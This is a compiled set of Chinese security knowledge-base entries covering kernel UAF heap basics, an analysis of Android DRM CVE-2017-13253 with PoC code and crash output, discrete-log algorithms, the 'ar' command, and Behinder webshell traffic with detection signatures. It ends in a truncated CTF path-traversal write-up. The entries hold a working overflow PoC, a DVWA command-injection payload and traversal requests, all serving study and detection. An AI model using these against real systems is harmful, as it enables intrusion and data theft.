### kernel UAF介绍
UAF 即 Use After Free,通常指的是**对于释放后未重置的垂悬指针的利用**,此前在用户态下的 heap 阶段对于 ptmalloc 的利用很多都是基于UAF漏洞进行进一步的利用。
在 CTF 当中,内核的“堆内存”主要指的是直接映射区(direct mapping area),常用的分配函数 kmalloc 从此处分配内存,常用的分配器为 slub,若是在 kernel 中存在着垂悬指针,我们同样可以以此完成对 slab/slub 内存分配器的利用,通过 Kernel UAF 完成提权。
### 内核堆利用与绑核介绍
slub allocator 会优先从当前核心的 `kmem_cache_cpu` 中进行内存分配,在多核架构下存在多个 `kmem_cache_cpu` ,由于进程调度算法会保持核心间的负载均衡,因此我们的 exp 进程可能会被在不同的核心上运行,这也就导致了利用过程中 kernel object 的分配有可能会来自不同的 `kmem_cache_cpu` ,这使得利用模型变得复杂,也降低了漏洞利用的成功率。
> 比如说你在 core 0 上整了个 double free,准备下一步利用时 exp 跑到 core 1去了,那就很容易让人摸不着头脑 :(
因此为了保证漏洞利用的稳定,**我们需要将我们的进程绑定到特定的某个 CPU 核心上**,这样 slub allocator 的模型对我们而言便简化成了 `kmem_cache_node + kmem_cache_cpu` ,我们也能更加方便地进行漏洞利用。
现笔者给出如下将 exp 进程绑定至指定核心的模板:
```c
#include <sched.h>
/* to run the exp on the specific core only */
void bind_cpu(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
```
### 通用 kmalloc flag描述
`GFP_KERNEL` 与 `GFP_KERNEL_ACCOUNT` 是内核中最为常见与通用的分配 flag,常规情况下他们的分配都来自同一个 `kmem_cache` ——即通用的 `kmalloc-xx` 。
这两种 flag 的区别主要在于 `GFP_KERNEL_ACCOUNT` 比 `GFP_KERNEL` 多了一个属性——**表示该对象与来自用户空间的数据相关联**,因此我们可以看到诸如 `msg_msg` 、`pipe_buffer`、`sk_buff的数据包` 的分配使用的都是 `GFP_KERNEL_ACCOUNT` ,而 `ldt_struct` 、`packet_socket` 等与用户空间数据没有直接关联的结构体则使用 `GFP_KERNEL`。
在5.9 版本之前`GFP_KERNEL` 与 `GFP_KERNEL_ACCOUNT` 存在隔离机制,在 [这个 commit](https://github.com/torvalds/linux/commit/10befea91b61c4e2c2d1df06a2e978d182fcf792) 中取消了隔离机制,自内核版本 5.14 起,在 [这个 commit](https://github.com/torvalds/linux/commit/494c1dfe855ec1f70f89552fce5eadf4a1717552) 当中又重新引入:
- 对于开启了 `CONFIG_MEMCG_KMEM` 编译选项的 kernel 而言(通常都是默认开启),其会为使用 `GFP_KERNEL_ACCOUNT` 进行分配的通用对象**创建一组独立的 `kmem_cache` ——名为 `kmalloc-cg-*`** ,从而导致使用这两种 flag 的 object 之间的隔离。
### slub 合并 & 隔离方式
slab alias 机制是一种对同等/相近大小 object 的 `kmem_cache` 进行**复用**的一种机制:
- 当一个 `kmem_cache` 在创建时,若已经存在能分配相等/近似大小的 object 的 `kmem_cache` ,则**不会创建新的 kmem\_cache,而是为原有的 kmem\_cache 起一个 alias,作为“新的” kmem\_cache 返回**。
举个🌰,`cred_jar` 是专门用以分配 `cred` 结构体的 `kmem_cache`,在 Linux 4.4 之前的版本中,其为 `kmalloc-192` 的 alias,即 cred 结构体与其他的 192 大小的 object 都会从同一个 `kmem_cache`——`kmalloc-192` 中分配。
对于初始化时设置了 `SLAB_ACCOUNT` 这一 flag 的 `kmem_cache` 而言,则会新建一个新的 `kmem_cache` 而非为原有的建立 alias,🌰如在新版的内核当中 `cred_jar` 与 `kmalloc-192` 便是两个独立的 `kmem_cache`,**彼此之间互不干扰**。
|
sec-knowleage
|
## Android Drm service 堆溢出漏洞(CVE-2017-13253)
> zimperium发表于2018年03月15日
### 漏洞描述
Android 8.0版本和8.1版本中的CryptoPlugin.cpp文件的CryptoPlugin::decrypt存在提权漏洞,该漏洞源于程序缺少边界检测。远程攻击者可利用该漏洞执行任意代码或造成拒绝服务(越边界写入)。
### 影响范围
android 8.0/8.1
### 漏洞详情
#### 漏洞位置
CryptoPlugin.cpp文件的CryptoPlugin::decrypt, 代码前置做了很多安全校验,但百密一疏,漏掉了一个判断解密数据加目标偏移是否会大于整个堆大小的判断,导致最后直接 memcpy 时,会形成堆溢出。
```cpp
if (destination.mType == kDestinationTypeSharedMemory) {
//判断destination的类型就结束了,没有大小的判断
}
```
```cpp
for (int32_t i = 0; i < numSubSamples; ++i) {
//这里会相加多个subSamples,并判断是否超出
CryptoPlugin::SubSample &ss = subSamples[i];
if (sumSubsampleSizes <= SIZE_MAX - ss.mNumBytesOfEncryptedData) {
sumSubsampleSizes += ss.mNumBytesOfEncryptedData;
} else {
overflow = true;
}
}
```
```cpp
if ((size_t)offset > source.mSharedMemory->size() - totalSize) {
//这里判断了source的大小,这个totalSize就是要处理subSamples的大小总和。
result = -EINVAL;
} else {
result = decrypt(key, iv, mode, pattern, source, offset,
subSamples, numSubSamples, destination, &errorDetailMsg);
}
```
```cpp
if (mode == kMode_Unencrypted) {
size_t offset = 0;
for (size_t i = 0; i < numSubSamples; ++i) {
const SubSample& subSample = subSamples[i];
if (subSample.mNumBytesOfEncryptedData != 0) {
errorDetailMsg->setTo(
"Encrypted subsamples found in allegedly unencrypted "
"data.");
return android::ERROR_DRM_DECRYPT;
}
if (subSample.mNumBytesOfClearData != 0) {
memcpy(reinterpret_cast<uint8_t*>(dstPtr) + offset,
reinterpret_cast<const uint8_t*>(srcPtr) + offset,
subSample.mNumBytesOfClearData);
//由于安全校验不完整,存在可能offset + data_size > dstPtr.size 的情况,导致溢出
offset += subSample.mNumBytesOfClearData;
}
}
return static_cast<ssize_t>(offset);
}
```

#### 漏洞触发条件
#### 漏洞原理
### poc/exp
POC: [PoC code for CVE-2017-13253.](https://github.com/tamirzb/CVE-2017-13253)
```cpp
sp<MemoryHeapBase> heap = new MemoryHeapBase(DATA_SIZE); //申请一个heap块。
// This line is to merely show that we have full control over the data
// written in the overflow.
memset(heap->getBase(), 'A', DATA_SIZE); //这里填充heap,大小为0x2000
sp<MemoryBase> sourceMemory = new MemoryBase(heap, 0, DATA_SIZE); //源内存,设置了offset为0,大小为0x2000也就是total共0x2000
sp<MemoryBase> destMemory = new MemoryBase(heap, DATA_SIZE - DEST_OFFSET,
DEST_OFFSET);
//目的内存,设置偏移比较巧妙,正好是DATA_SIZE - DEST_OFFSET,大小为DEST_OFFSET,这样设置的目的正好可以保证第二个函数中对destination的检测是正确的。
int heapSeqNum = crypto->setHeap(heap);
if (heapSeqNum < 0) {
fprintf(stderr, "setHeap failed.\n");
return;
}
//下面这些代码都是设置一些decrypt函数的相关参数。只需保证能通过函数检查就行。
CryptoPlugin::Pattern pattern = { .mEncryptBlocks = 0, .mSkipBlocks = 1 };
ICrypto::SourceBuffer source = { .mSharedMemory = sourceMemory,
.mHeapSeqNum = heapSeqNum };
// mNumBytesOfClearData is the actual size of data to be copied.
CryptoPlugin::SubSample subSamples[] = { {
.mNumBytesOfClearData = DATA_SIZE, .mNumBytesOfEncryptedData = 0 } };
ICrypto::DestinationBuffer destination = {
.mType = ICrypto::kDestinationTypeSharedMemory, .mHandle = NULL,
.mSharedMemory = destMemory };
printf("decrypt result = %zd\n", crypto->decrypt(NULL, NULL,
CryptoPlugin::kMode_Unencrypted, pattern, source, 0, subSamples,
ARRAY_SIZE(subSamples), destination, NULL));
//然后就ipc调用decrypt函数
```
PoC 运行结果:
```bash
Build fingerprint: 'google/walleye/walleye:8.1.0/OPM1.171019.011/4448085:user/release-keys'
Revision: 'MP1'
ABI: 'arm'
pid: 761, tid: 5232, name: HwBinder:761_1 >>> /vendor/bin/hw/android.hardware.drm@1.0-service <<<
signal 11 (SIGSEGV), code 2 (SEGV_ACCERR), fault addr 0xee20f000
r0 ee20f000 r1 ee20d021 r2 00001eff r3 00000001
r4 00000001 r5 00000000 r6 ed117008 r7 00000000
r8 00000000 r9 fffff82a sl ee20d000 fp ee20efff
ip 08000000 sp ed2893c8 lr ed369e6b pc edda7f0c cpsr 20070010
backtrace:
#00 pc 00018f0c /system/lib/libc.so (__memcpy_base+244)
#01 pc 00004e67 /vendor/lib/mediadrm/libdrmclearkeyplugin.so (clearkeydrm::CryptoPlugin::decrypt(bool, unsigned char const*, unsigned char const*, android::CryptoPlugin::Mode, android::CryptoPlugin::Pattern const&, void const*, android::CryptoPlugin::SubSample const*, unsigned int, void*, android::AString*)+82)
...
memory map (205 entries):
(fault address prefixed with --->)
...
ee20d000-ee20efff rw- 0 2000 /dev/ashmem/MemoryHeapBase (deleted)
--->ee20f000-ee20ffff --- 0 1000 [anon:thread signal stack guard page]
...
```
### 漏洞修复建议
google 已发布相关补丁:https://android.googlesource.com/platform/frameworks/av/+/871412cfa05770cfd8be0a130b68386775445057%5E%21/#F0
```cpp
// Fix potential buffer overflow in mediadrmserver
//
// bug:71389378
// test: gts media tests
//
// Change-Id: Ic7d4b456bc874b92fbe202e3dafb7ceac747ebc7
// (cherry picked from commit 5231cc164fe040a3ab5fcb28baae4e0a4f9fdf4c)
// diff --git a/drm/libmediadrm/ICrypto.cpp b/drm/libmediadrm/ICrypto.cpp
// index 8506d95..37dc83b 100644
// --- a/drm/libmediadrm/ICrypto.cpp
// +++ b/drm/libmediadrm/ICrypto.cpp
// @@ -16,14 +16,14 @@
//#define LOG_NDEBUG 0
#define LOG_TAG "ICrypto"
-#include <utils/Log.h>
-
#include <binder/Parcel.h>
#include <binder/IMemory.h>
+#include <cutils/log.h>
#include <media/ICrypto.h>
#include <media/stagefright/MediaErrors.h>
#include <media/stagefright/foundation/ADebug.h>
#include <media/stagefright/foundation/AString.h>
+#include <utils/Log.h>
namespace android {
@@ -362,6 +362,13 @@
reply->writeInt32(BAD_VALUE);
return OK;
}
+ sp<IMemory> dest = destination.mSharedMemory;
+ if (totalSize > dest->size() ||
+ (size_t)dest->offset() > dest->size() - totalSize) {
// 增加了对解密后数据大于目标区域大小,或加上偏移后大于目标区域大小(前者多余了)这两个会导致堆溢出的判断
+ reply->writeInt32(BAD_VALUE);
+ android_errorWriteLog(0x534e4554, "71389378");
+ return OK;
+ }
}
AString errorDetailMsg;
```
|
sec-knowleage
|
### 离散对数基本定义
在了解离散对数时,我们先来了解几个基本定义。
**定义1**
在群 G 中,g 为 G 的生成元,也就是说群 G 中每一个元素都可以写成 $y=g^k$,我们称 k 为 y 在群 G 中的对数。
**定义2**
设 $m\geq 1$,$(a,m)=1$ ,使得 $a^d \equiv 1\pmod m$ 成立的最小正整数 d 称为 a 对模 m 的指数或者阶,我们一般将其记为 $\delta_m(a)$。
**定义3**
当 $\delta_m(a)=\varphi(m)$ 时,称 a 是模 m 的原根,简称 m 的原根。
### 关于离散对数的一些性质
**性质1**
使得 $a^d \equiv 1\pmod m$ 成立的最小正整数 $d$ ,必有$d\mid\varphi(m)$。
**性质2**
模 $m$ 剩余系存在原根的充要条件是 $m=2,4,p^{\alpha},2p^{\alpha}$ ,其中 $p$ 为奇素数, $\alpha$ 为正整数。
### 离散对数问题
已知 $g,p,y$ ,对于方程 $y\equiv g^x \pmod p$ ,求解 $x$ 是一个难解问题。但是当 $p$ 具有一定的特性时就可能可以求解,比如,这个群的阶是一个光滑数。
正是上述这个问题构成了目前很大一部分现代密码学,包括 Diffie–Hellman 密钥交换, ElGamal 算法,ECC 等。
### 离散对数暴力破解求解方式
给定 $y\equiv g^x \pmod p$,我们可以暴力枚举 $x$ 从而得到真正的 $x$ 的值。
### 离散对数Baby-step giant-step求解方式
这一方法通常被称为小步大步法,这一方法使用了中间相遇攻击的思想。
我们可以令 $x=im+j$,其中 $m= \lceil \sqrt n\rceil$ ,那么整数 i 和 j 都在 0 到 m 的范围内。
因此
$$y=g^x=g^{im+j}$$
也就是
$$y(g^{-m})^i=g^j$$
那么我们就可以枚举所有的 j 并进行计算,并将其存储到一个集合 S 中,然后我们再次枚举 i,计算 $y(g^{-m})^i$,一旦我们发现计算的结果在集合 S 中,则说明我们得到了一个碰撞,进而得到了 i 和 j。
这显然是一个时间与空间的折中的方式,我们将一个 $O(n)$ 的时间复杂度,$O(1)$ 空间复杂度的算法转换为了一个$O(\sqrt n)$的时间复杂度和$O(\sqrt n)$ 的空间复杂度的算法。
其中
- 每一次 j 的增加表示“baby-step”,一次乘上 $g$。
- 每一次 i 的增加表示“giant-step”,一次乘上 $g^{-m}$ 。
```python
def bsgs(g, y, p):
m = int(ceil(sqrt(p - 1)))
S = {pow(g, j, p): j for j in range(m)}
gs = pow(g, p - 1 - m, p)
for i in range(m):
if y in S:
return i * m + S[y]
y = y * gs % p
return None
```
### 离散对数Pollard’s ρ algorithm求解方式
我们可以以$O(\sqrt n)$的时间复杂度和$O(1)$ 的空间复杂度来解决上述问题。具体原理请自行谷歌。
### 离散对数Pollard’s kangaroo algorithm求解方式
如果我们知道 x 的范围为 $a \leq x \leq b$,那么我们可以以$O(\sqrt{b-a})$ 的时间复杂度解决上述问题。具体原理请自行谷歌。
### 离散对数Pohlig-Hellman algorithm求解方式
不妨假设上述所提到的群关于元素 $g$ 的阶为 $n$, $n$ 为一个光滑数: $n=\prod\limits_{i=1}^r p_i^{e_i}$。
1. 对于每个 $i \in \{1,\ldots,r\}$ :
1. 计算 $g_i \equiv g^{n/p_i^{e_i}} \pmod m$。根据拉格朗日定理, $g_i$ 在群中的阶为 $p_i^{e_i}$ 。
2. 计算 $y_i \equiv y^{n/p_i^{e_i}} \equiv g^{xn/p_i^{e_i}} \equiv g_i^{x} \equiv g_i^{x \bmod p_i^{e_i}} \equiv g_i^{x_i} \pmod m$,这里我们知道 $y_i,m,g_i$,而$x_i$ 的范围为$[0,p_i^{e_i})$,由 $n$ 是一个光滑数,可知其范围较小,因此我们可以使用 *Pollard’s kangaroo algorithm* 等方法快速求得$x_i$。
2. 根据上述的推导,我们可以得到对于 $i \in \{1,\ldots,r\}$ ,$x \equiv x_i \pmod{p_i^{e_i}}$ ,该式可用中国剩余定理求解。
上述过程可用下图简单描述:
<center>

</center>
其复杂度为$O\left(\sum\limits _i e_i\left(\log n+\sqrt{p_i}\right)\right)$,可以看出复杂度还是很低的。
但当 $n$ 为素数,$m=2n+1$,那么复杂度和 $O(\sqrt m)$ 是几乎没有差别的。
|
sec-knowleage
|
ar
===
建立或修改备存文件,或是从备存文件中抽取文件
## 补充说明
**ar命令** 是一个建立或修改备存文件,或是从备存文件中抽取文件的工具,ar可让您集合许多文件,成为单一的备存文件。在备存文件中,所有成员文件皆保有原来的属性与权限
### 语法
```shell
用法: ar [emulation options] [-]{dmpqrstx}[abcDfilMNoOPsSTuvV] [--plugin <name>] [member-name] [count] archive-file file...
ar -M [<mri-脚本]
```
### 选项
> 以下内容来自 GNU ar (GNU Binutils) 2.40 版本指令
```shell
命令:
d - 从归档文件中删除文件
m[ab] - 在归档文件中移动文件
p - 打印在归档文件中找到的文件
q[f] - 将文件快速追加到归档文件中
r[ab][f][u] - 替换归档文件中已有的文件或加入新文件
s - 作为 ranlib 工作
t[O][v] - display contents of the archive
x[o] - 从归档文件中分解文件
特定命令修饰符:
[a] - 将文件置于 [成员名] 之后
[b] - 将文件置于 [成员名] 之前 (于 [i] 相同)
[D] - 将 0 用于时间戳和 uid/gid(默认)
[D] - 使用实际时间戳和 uid/gid
[N] - 使用名称的实例 [数量]
[f] - 截去插入的文件名称
[P] - 在匹配时使用完整的路径名
[o] - 保留原来的日期
[O] - display offsets of files in the archive
[u] - 只替换比当前归档内容更新的文件
通用修饰符:
[c] - 不在必须创建库的时候给出警告
[s] - 创建归档索引 (cf. ranlib)
[l <text> ] - specify the dependencies of this library
[S] - 不要创建符号表
[T] - deprecated, use --thin instead
[v] - 输出较多信息
[V] - 显示版本号
@<file> - 从 <file> 读取选项
--target=BFDNAME - 指定目标对象格式为 BFDNAME
--output=DIRNAME - specify the output directory for extraction operations
--record-libdeps=<text> - specify the dependencies of this library
--thin - make a thin archive
可选项:
--plugin <p> - 加载指定的插件程序
仿真选项:
没有仿真特有的选项
```
### 实例
打包文件
```shell
[root@localhost ~]# ls # 显示当前目录文件
a.c b.c d.c install.log qte
anaconda-ks.cfg c.c Desktop
[root@localhost ~]# ar rv one.bak a.c b.c # 打包 a.c b.c文件
ar: 正在创建 one.bak
a - a.c
a - b.c
```
打包多个文件
```shell
[root@localhost ~]# ar rv two.bak *.c // 打包以.c结尾的文件
ar: 正在创建 two.bak
a - a.c
a - b.c
a - c.c
a - d.c
```
显示打包文件的内容
```shell
[root@localhost ~]# ar t two.bak
a.c
b.c
c.c
d.c
```
删除打包文件的成员文件
```shell
[root@localhost ~]# ar d two.bak a.c b.c c.c
[root@localhost ~]# ar t two.bak
d.c
```
|
sec-knowleage
|
# T1505-003-webshell-冰蝎
## 来自ATT&CK的描述
Webshell是一个Web脚本,放置在可公开访问的Web服务器上,允许攻击者将Web服务器用作网络的网关。 Web shell可以提供多种功能,如虚拟终端、文件管理、数据库连接等。 除了服务器端脚本之外,Webshell可能还有一个客户端接口程序,用于与管理Web服务器的通信(例如,中国菜刀、C刀、蚁剑、冰蝎等)。
## 测试案例
PHP网站(Phpstudy+DVWA)
冰蝎V1.0/V2.0(客户端+自带shell)
wireshark(必备)
## 检测日志
HTTP流量
## 测试复现
利用DVWA相关漏洞,上传冰蝎默认webshell,利用冰蝎客户端对webshell进行管理,抓取冰蝎客户端与web服务器上的脚本之间的通讯流量。
## 测试留痕
### 冰蝎V1.0
#### 1)正常流量
**GET请求包**a
```http
GET /1.php HTTP/1.1
Host: 192.168.66.136
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: <http://192.168.66.136/>
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```
**GET请求返回包**a
```http
HTTP/1.1 200 OK
Date: Tue, 20 Aug 2019 02:50:43 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 4
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
test
```
**POST请求包**a
```http
POST /DVWA/vulnerabilities/exec/ HTTP/1.1
Host: 192.168.66.136
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
DNT: 1
Connection: keep-alive
Referer: <http://192.168.66.136/DVWA/vulnerabilities/exec/>
Cookie: security=low; PHPSESSID=190krorgsuckk0elaa1tk0v891
Upgrade-Insecure-Requests: 1
ip=127.0.0.1+%26%26+whoami&Submit=Submit
```
**POST返回包**a
```http
HTTP/1.1 200 OK
Date: Tue, 20 Aug 2019 02:52:47 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Expires: Tue, 23 Jun 2009 12:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Content-Length: 5161
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=utf-8
!DOCTYPE html PUBLIC "-//W3C//DTD(此处省略更多字符信息)
```
#### 2)冰蝎客户端与服务端通信流量
**GET请求包**
```pacp
GET /shell.php?pass=1 HTTP/1.1
User-Agent: Java/1.8.0_211
Host: 192.168.66.136
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
```
**GET返回包**
```http
HTTP/1.1 200 OK
Date: Sun, 21 Jul 2019 02:51:55 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Set-Cookie: PHPSESSID=6dclf3mic9i86q7r6snpk34ef1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 16
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
f52eb8c003a3991b
```
**POST请求包**
```pacp
POST /shell.php HTTP/1.1
Content-Type: application/octet-stream
Cookie: null;PHPSESSID=6dclf3mic9i86q7r6snpk34ef1; path=/
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_211
Host: 192.168.66.136
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 1624
D3dH8lwIFCCGYS9Yca (此处省略加密字符信息)
```
**POST返回包**
```http
HTTP/1.1 200 OK
Date: Sun, 21 Jul 2019 02:51:55 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
1f4c0(此处省略加密字符信息)
```
#### 3)正常流量VS冰蝎通讯流量
从中可以看到冰蝎V1.0版本在初期交互通讯时,特征较为明显,user-agent与正常业务流量明显不同。可以通过对**user-agent**进行检测分析。其次在POST返回包中相对正常流量多了**Transfer-Encoding: chunked**,Transfer-Encoding主要是用来改变报文格式,这里指的是利用分块进行传输。你可以基于此特征值进行检测,当然,你也可以用更简单的方法进行检测,比如url中包含**.php?pass=**来进行检测。
### 冰蝎V2.1
从冰蝎V1.1开始新增随机UserAgent支持,每次会话会从17种常见UserAgent中随机选取。冰蝎最新版本为V2.1,可以通过对2.1版本服务端与客户端的通信流量,进行捕获,对比正常流量进行分析。
#### 1)正常流量a
**GET请求包**a
同冰蝎V1.0章节
**GET请求返回包**a
同冰蝎V1.0章节
**POST请求包**a
同冰蝎V1.0章节
**POST返回包**a
同冰蝎V1.0章节
#### 2)冰蝎客户端与服务端通信流量a
**GET请求包**a
```pacp
GET /DVWA/hackable/uploads/shell.php?pass=673 HTTP/1.1
Content-type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3)
Host: 192.168.66.136
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
**GET请求返回包**a
HTTP/1.1 200 OK
Date: Mon, 19 Aug 2019 09:34:36 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Set-Cookie: PHPSESSID=m0agat42tmo0i4srnda5ssfq94; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 16
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
03befc81cbefda94
```
**POST请求包**
```pcap
POST /DVWA/hackable/uploads/shell.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=bv5lv0681hq09ggt8rfj1peio5; path=/
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3)
Cache-Control: no-cache
Pragma: no-cache
Host: 192.168.66.136
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 2220
ltEi32XJreSl8Y5Hhzk08Wgjfe8bLPr3x8n4qlJ(此处省略加密字符信息)
```
**POST返回包**
```http
HTTP/1.1 200 OK
Date: Mon, 19 Aug 2019 09:34:36 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=97
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
21dc0gfUOcrBcH7jint5L0pmkDxT5ypIbjLnIsXnDxHGjofQk3g(此处省略加密字符信息)
```
### 3)正常流量VS冰蝎通讯流量a
通过对比可以看到,冰蝎V2.1在初期交互通讯时流量中多了**Transfer-Encoding: chunked**,Transfer-Encoding主要是用来改变报文格式,这里指的是利用分块进行传输。你可以基于此特征值进行检测,当然,你也可以用更简单的方法进行检测,比如url中包含**.php?pass=**来进行检测。
## 检测特征/思路
### 冰蝎V1.0a
基于GET请求包的检测特征:url包含.php?pass=,useragent包含Java/*;
基于POST请求包的检测特征:useragent包含Java/* ,返回包包含:Transfer-Encoding: chunked;
### 冰蝎V2.1a
基于GET请求包的检测特征:url包含.php?pass=;(如果与业务冲突,误报较大)
基于POST返回包的检测特征:Transfer-Encoding: chunked;
## 相关TIP
[[T1505-003-webshell-冰蝎v3.0]]
[[T1505-003-windows下webshell检测]]
[[T1505-003-web服务产生的可疑进程]]
## 参考推荐
MITRE-ATT&CK-T1505-003
<https://attack.mitre.org/techniques/T1505/003/>
冰蝎下载地址
<https://github.com/rebeyond/Behinder/releases>
|
sec-knowleage
|
# Log Me Policy
* Category: Web
* 200 Points
* Solved by the JCTF Team
## Description
> Hi there, our SOC team recived message that a hacker was quickly able to compromise our customer's senstive data by abuse our super-secure login page.
>
> Could you spot the vulnerability and let us know the flag?
## Solution
We visit the attached website and get a simple login page (`https://logmepolicy.appsecil.ctf.today/relam/splogin`).
Apart from the login form, the login page contains a link to the terms of use:
```html
<div class="text-center">
By login you are accept to our <a class="small" href="../documentation/terms.txt"
download>terms of
use</a> policy.
</div>
```
Let's take a look at `robots.txt`:
```
root@kali:/media/sf_CTFs/appsec/Log_Me_Policy# curl https://logmepolicy.appsecil.ctf.today/robots.txt
User-agent: *
Disallow: /
Disallow: /documentation/terms.txt
Disallow: /documentation/old_terms.txt
```
So both `terms` and `old_terms.txt` are hidden from search engines.
Let's check the terms:
```console
root@kali:/media/sf_CTFs/appsec/Log_Me_Policy# curl https://logmepolicy.appsecil.ctf.today/relam/../documentation/terms.txt
Website Terms of Use
Version 2.0
The Website Name website located at Website.com is a copyrighted work belonging to Website Name. Certain features of the Site may be subject to additional guidelines, terms, or rules, which will be posted on the Site in connection with such features.
All such additional terms, guidelines, and rules are incorporated by reference into these Terms.
These Terms of Use described the legally binding terms and conditions that oversee your use of the Site. BY LOGGING INTO THE SITE, YOU ARE BEING COMPLIANT THAT THESE TERMS and you represent that you have the authority and capacity to enter into these Terms. YOU SHOULD BE AT LEAST 18 YEARS OF AGE TO ACCESS THE SITE. IF YOU DISAGREE WITH ALL OF THE PROVISION OF THESE TERMS, DO NOT LOG INTO AND/OR USE THE SITE.
These terms require the use of arbitration Section 10.2 on an individual basis to resolve disputes and also limit the remedies available to you in the event of a dispute.
```
Nothing interesting there. Let's move one to the old terms:
```console
root@kali:/media/sf_CTFs/appsec/Log_Me_Policy# curl https://logmepolicy.appsecil.ctf.today/relam/../documentation/old_terms.txt
Error: ENOENT: no such file or directory, open '/app/documentation/old_terms.txt'
at Object.openSync (fs.js:462:3)
at Object.readFileSync (fs.js:364:35)
at /app/app.js:40:21
at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
at next (/app/node_modules/express/lib/router/route.js:137:13)
at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3)
at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
at /app/node_modules/express/lib/router/index.js:281:22
at param (/app/node_modules/express/lib/router/index.js:354:14)
at param (/app/node_modules/express/lib/router/index.js:365:14)
```
We get an exception originating from `/app/app.js`.
Let's try to read it:
```console
root@kali:/media/sf_CTFs/appsec/Log_Me_Policy# curl https://logmepolicy.appsecil.ctf.today/app.js
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /app.js</pre>
</body>
</html>
root@kali:/media/sf_CTFs/appsec/Log_Me_Policy# curl https://logmepolicy.appsecil.ctf.today/documentation/../app.js
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /app.js</pre>
</body>
</html>
```
No luck. Notice however that in both cases the error message refers to `/app.js`, without mentioning `/documentation/../app.js`. Let's take a closer look at the request being sent by `curl` by examining the request headers:
```console
root@kali:/media/sf_CTFs/appsec/Log_Me_Policy# curl -s -v -I https://logmepolicy.appsecil.ctf.today/documentation/../app.js 2>&1 | grep ">"
> HEAD /app.js HTTP/1.1
> Host: logmepolicy.appsecil.ctf.today
> User-Agent: curl/7.64.0
> Accept: */*
>
```
It looks like `curl` is requesting `/app.js` and not `/documentation/../app.js`. What if the file leak bug is only exposed when accessing paths under `/documentation/`?
To force `curl` to send the path as-is, we can use an extra flag:
> --path-as-is: Tell curl to not handle sequences of /../ or /./ in the given URL path. Normally curl will squash or merge them according to standards but with this option set you tell it not to do that.
```console
